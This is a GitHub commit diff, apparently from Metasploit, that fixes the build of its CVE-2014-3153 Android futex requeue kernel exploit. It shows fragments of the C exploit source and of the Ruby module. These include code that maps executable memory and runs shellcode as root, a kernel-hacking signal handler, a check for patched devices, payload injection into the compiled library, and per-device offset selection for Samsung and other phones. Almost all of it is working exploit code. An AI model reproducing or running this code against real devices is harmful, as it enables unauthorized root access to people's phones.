Skip to content

Commit f1efa76

Browse files
committed
more fixes
1 parent e6d4c00 commit f1efa76

File tree

3 files changed

+20
-16
lines changed

3 files changed

+20
-16
lines changed

external/source/exploits/CVE-2014-3153/Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
all: install
33

44
build:
5-
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
5+
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi
66

77
install: build
88
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2014-3153.so

external/source/exploits/CVE-2014-3153/futex_requeue.c

Lines changed: 10 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
#include <android/log.h>
21
#include <unistd.h>
32
#include <linux/futex.h>
43
#include <pthread.h>
@@ -12,6 +11,7 @@
1211
#include <sys/system_properties.h>
1312
#include <sys/mount.h>
1413
#include <sys/types.h>
14+
#include <sys/wait.h>
1515
#include <sys/socket.h>
1616
#include <sys/uio.h>
1717
#include <limits.h>
@@ -56,12 +56,12 @@ int run_shellcode_as_root() {
5656
int uid = getuid();
5757
if (uid != 0) {
5858
LOGV("Not uid=%d, returning\n", uid);
59-
return;
59+
return 0;
6060
}
6161

6262
if (shellcode_buf[0] == 0x90) {
6363
LOGV("No shellcode, uid=%d\n", uid);
64-
return;
64+
return 0;
6565
}
6666
LOGV("running shellcode, uid=%d\n", uid);
6767

@@ -71,7 +71,7 @@ int run_shellcode_as_root() {
7171
LOGV("shellcode, pid=%d, tid=%d\n", getpid(), gettid());
7272
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
7373
if (ptr == MAP_FAILED) {
74-
return;
74+
return 0;
7575
}
7676
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
7777
void (*shellcode)() = (void(*)())ptr;
@@ -836,14 +836,14 @@ void *make_action_adding_waiter(void *arg) {
836836

837837
// Handler to hack in the kernel.
838838
act.sa_handler = hack_the_kernel;
839-
act.sa_mask = 0;
839+
sigemptyset(&act.sa_mask);
840840
act.sa_flags = 0;
841841
act.sa_restorer = NULL;
842842
sigaction(12, &act, NULL);
843843

844844
// Handler to kill useless threads.
845845
act3.sa_handler = thread_killer;
846-
act3.sa_mask = 0;
846+
sigemptyset(&act3.sa_mask);
847847
act3.sa_flags = 0;
848848
act3.sa_restorer = NULL;
849849
sigaction(14, &act3, NULL);
@@ -947,7 +947,7 @@ void *stack_modifier(void *name)
947947

948948
// Register an handle for a signal. We will use it to kill this thread later.
949949
act3.sa_handler = thread_killer;
950-
act3.sa_mask = 0;
950+
sigemptyset(&act3.sa_mask);
951951
act3.sa_flags = 0;
952952
act3.sa_restorer = NULL;
953953
sigaction(14, &act3, NULL);
@@ -1018,6 +1018,7 @@ void *stack_modifier(void *name)
10181018
}
10191019
LOGD("[STACK MODIFIER] Leaving\n");
10201020

1021+
return NULL;
10211022
}
10221023

10231024

@@ -1127,7 +1128,7 @@ void *trigger(void *arg) {
11271128
if (*((unsigned long *)hacked_node) == readval) {
11281129
LOGD("[TRIGGER] Device seems to be patched.\n");
11291130
send_pipe_msg(ERROR);
1130-
return;
1131+
return 0;
11311132
}
11321133

11331134
// Save the waiter address
@@ -1280,6 +1281,7 @@ void *trigger(void *arg) {
12801281
}
12811282
}
12821283
stop_for_error();
1284+
return NULL;
12831285
}
12841286

12851287

modules/exploits/android/local/futex_requeue.rb

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,6 @@ def initialize(info={})
9595
end
9696

9797
def exploit
98-
target_index = 1 #default
9998
if target['auto']
10099
product = cmd_exec("getprop ro.build.product")
101100
fingerprint = cmd_exec("getprop ro.build.fingerprint")
@@ -114,28 +113,31 @@ def exploit
114113
"D2303",
115114
"cancro",
116115
].include? product
117-
target_index = 1
116+
my_target = targets[1] # Default
118117
elsif [
119118
"klte",
120119
"jflte",
121120
].include? product
122-
target_index = 2 # New Samsung
121+
my_target = targets[2] # New Samsung
123122
elsif [
124123
"t03g",
125124
"m0",
126125
].include? product
127-
target_index = 3 # Old Samsung
126+
my_target = targets[3] # Old Samsung
128127
elsif [
129128
"baffinlite",
130129
"Vodafone_785",
131130
].include? product
132-
target_index = 4 # Samsung Grand
131+
my_target = targets[4] # Samsung Grand
133132
else
134133
print_status("Could not automatically target #{product}")
134+
my_target = targets[1] # Default
135135
end
136+
else
137+
my_target = target
136138
end
137139

138-
print_status("Using target: #{targets[target_index].name}")
140+
print_status("Using target: #{my_target.name}")
139141

140142
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.so" )
141143
exploit_data = File.read(local_file, {:mode => 'rb'})
@@ -146,7 +148,7 @@ def exploit
146148
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
147149

148150
# Apply the target config
149-
offsets = targets[target_index].opts
151+
offsets = my_target.opts
150152
config_buf = [
151153
offsets['new_samsung'] ? -1 : 0,
152154
offsets['iovstack'].to_i,

0 commit comments

Comments
 (0)